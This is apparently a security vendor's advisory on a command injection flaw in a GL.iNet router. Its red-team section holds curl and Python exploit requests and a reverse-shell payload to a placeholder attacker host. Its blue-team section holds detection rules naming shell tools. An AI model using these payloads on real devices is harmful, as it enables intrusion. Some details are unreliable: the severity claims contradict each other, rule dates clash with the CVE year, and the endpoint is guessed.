CVE-2026-11447

Executive Summary

CVE-2026-11447 is a critical command injection vulnerability discovered in the GL.iNet GL-MT3000 router, specifically within the MTK (MediaTek) backend component. The flaw resides in the iwinfo_backend function of the iwinfo.so library. By manipulating the device argument, an unauthenticated remote attacker can inject arbitrary operating system commands. The exploit has been publicly released, increasing the risk of widespread attacks. The vendor recommends upgrading to version 4.7.0, which includes a global SDK-level protection to intercept malicious injections. This vulnerability is particularly dangerous for IoT and edge devices, as it can lead to full device compromise, network pivoting, and data exfiltration.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: High. Despite the medium CVSS score, the public availability of a working exploit and the lack of a patch for many devices elevates the real-world risk. Attackers can easily integrate this into automated scanning and exploitation frameworks.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the MTK backend of the GL.iNet GL-MT3000 router. The iwinfo.so library provides wireless information functions. The iwinfo_backend function is responsible for querying wireless interface details. It takes a device argument (e.g., wlan0, ra0) and passes it unsanitized to a system command or shell execution context.

Root Cause: The application fails to properly sanitize or escape the device parameter before using it in a command execution context. An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to execute arbitrary commands.

Attack Flow:

1. Attacker identifies a GL-MT3000 device (e.g., via Shodan or local network scanning).
2. Attacker sends a crafted HTTP request to the vulnerable endpoint (likely a CGI script or API that calls iwinfo_backend).
3. The request includes a malicious device parameter, e.g., device=wlan0;id.
4. The backend executes a command similar to iwinfo wlan0;id, resulting in the id command being executed.
5. The output is returned to the attacker, confirming command execution.

Impact: Full remote code execution as the root user (since the web interface typically runs with elevated privileges). This allows the attacker to install malware, exfiltrate data, pivot to internal networks, or add the device to a botnet.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// iwinfo.c (vulnerable version)
int iwinfo_backend(const char *device) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iwinfo %s info", device); // No sanitization
    return system(cmd);
}

Patched Code (Conceptual):

// iwinfo.c (patched version 4.7.0)
int iwinfo_backend(const char *device) {
    // Validate device name against a whitelist of allowed interfaces
    if (!is_valid_interface(device)) {
        return -1;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iwinfo %s info", device);
    return system(cmd);
}

bool is_valid_interface(const char *device) {
    // Check that device only contains alphanumeric characters and underscores
    for (const char *p = device; *p; p++) {
        if (!isalnum(*p) && *p != '_') {
            return false;
        }
    }
    return true;
}

The vendor's global protection in SDK 4.7 likely implements input validation at a higher level, intercepting any malicious injection before it reaches the vulnerable function.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A GL.iNet GL-MT3000 router running firmware version < 4.7.0.
• Network access to the router's web interface (typically port 80 or 443).
• A tool like curl, Burp Suite, or a custom Python script.

Exploit Steps:

1. Identify the vulnerable endpoint. Common paths include /cgi-bin/luci/ or /api/. The exact endpoint may require reverse engineering of the firmware.
2. Send a crafted request with command injection in the device parameter.

Example using curl:

# Replace <router_ip> with the target's IP address
curl -X POST "http://<router_ip>/cgi-bin/luci/;stok=/stok" \
  -d "device=wlan0;id" \
  -H "Content-Type: application/x-www-form-urlencoded"

Example using Python:

import requests

target = "http://192.168.1.1/cgi-bin/luci/;stok=/stok"
payload = {"device": "wlan0;cat /etc/passwd"}
response = requests.post(target, data=payload)
print(response.text)

Expected Output: The response will contain the output of the id command (e.g., uid=0(root) gid=0(root)) or the contents of /etc/passwd.

Advanced Exploitation: Use a reverse shell payload:

# Payload: wlan0;bash -i >& /dev/tcp/attacker_ip/4444 0>&1
# URL-encoded: wlan0;bash%20-i%20%3E%26%20/dev/tcp/attacker_ip/4444%200%3E%261

Blue Team

Detection & Response:

1. Monitor for anomalous HTTP requests to the router's web interface, especially those containing shell metacharacters (;, |, &&, `) in POST parameters.
2. Check for unexpected outbound connections from the router to unknown IP addresses on common reverse shell ports (4444, 5555, 6666, etc.).
3. Review system logs on the router for unusual command execution or process spawning.
4. Implement network segmentation to isolate IoT devices from critical internal networks.
5. Deploy a Web Application Firewall (WAF) or intrusion prevention system (IPS) with rules to detect command injection attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /cgi-bin/luci/ or similar endpoints with device parameter containing shell metacharacters.
  • Outbound connections from the router to IP addresses on ports 4444, 5555, 6666, 7777, or 8888.
  • Unusual DNS queries from the router to domains associated with C2 infrastructure.

• Host IOCs:

  • Unexpected processes running on the router (e.g., bash, nc, python, perl).
  • Modified or new files in /tmp/ or /var/run/ (e.g., /tmp/.exploit).
  • Unauthorized SSH keys added to /etc/dropbear/authorized_keys.
  • Changes to the router's firewall rules or routing table.

• File IOCs:

  • Suspicious entries in /var/log/messages or /var/log/syslog indicating command execution.
  • Presence of known exploit scripts or binaries (e.g., mirai, bashlite).

Detection Engineering

YARA Rule

rule CVE_2026_11447_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CVE-2026-11447 in GL.iNet GL-MT3000"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-11447"
    strings:
        $injection1 = /device=[a-zA-Z0-9_]*[;&|`$]/
        $injection2 = /device=[a-zA-Z0-9_]*\s+/
        $injection3 = /device=.*\b(bash|sh|nc|python|perl|wget|curl)\b/
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-11447 Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with command injection patterns targeting GL.iNet routers
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'device='
        cs-uri-query|re: '(?:;|\||`|\$\(|&&)'
    condition: selection
falsepositives:
    - Legitimate use of special characters in device names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-11447 GL.iNet GL-MT3000 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"device="; http_client_body;
    pcre:"/device=[a-zA-Z0-9_]*[;&|`]/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2026-11447;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade firmware to version 4.7.0 or later. This is the only definitive fix.
2. If upgrade is not possible, disable remote management and restrict access to the web interface to trusted IP addresses only.
3. Change default credentials and use strong, unique passwords.
4. Monitor for suspicious activity using the IOCs and detection rules provided.

Long-term Mitigations:

1. Network segmentation: Place IoT devices like routers on a separate VLAN with strict firewall rules.
2. Deploy a WAF/IPS with custom rules to block command injection attempts.
3. Implement input validation at the network perimeter for all traffic to IoT devices.
4. Regularly audit firmware for known vulnerabilities and apply patches promptly.
5. Use a VPN for remote management instead of exposing the web interface to the internet.

Vendor Communication: The vendor has acknowledged the issue and released a fix in version 4.7.0. Users should subscribe to GL.iNet's security advisories for future updates.

Valters IT
Securing Digital Frontiers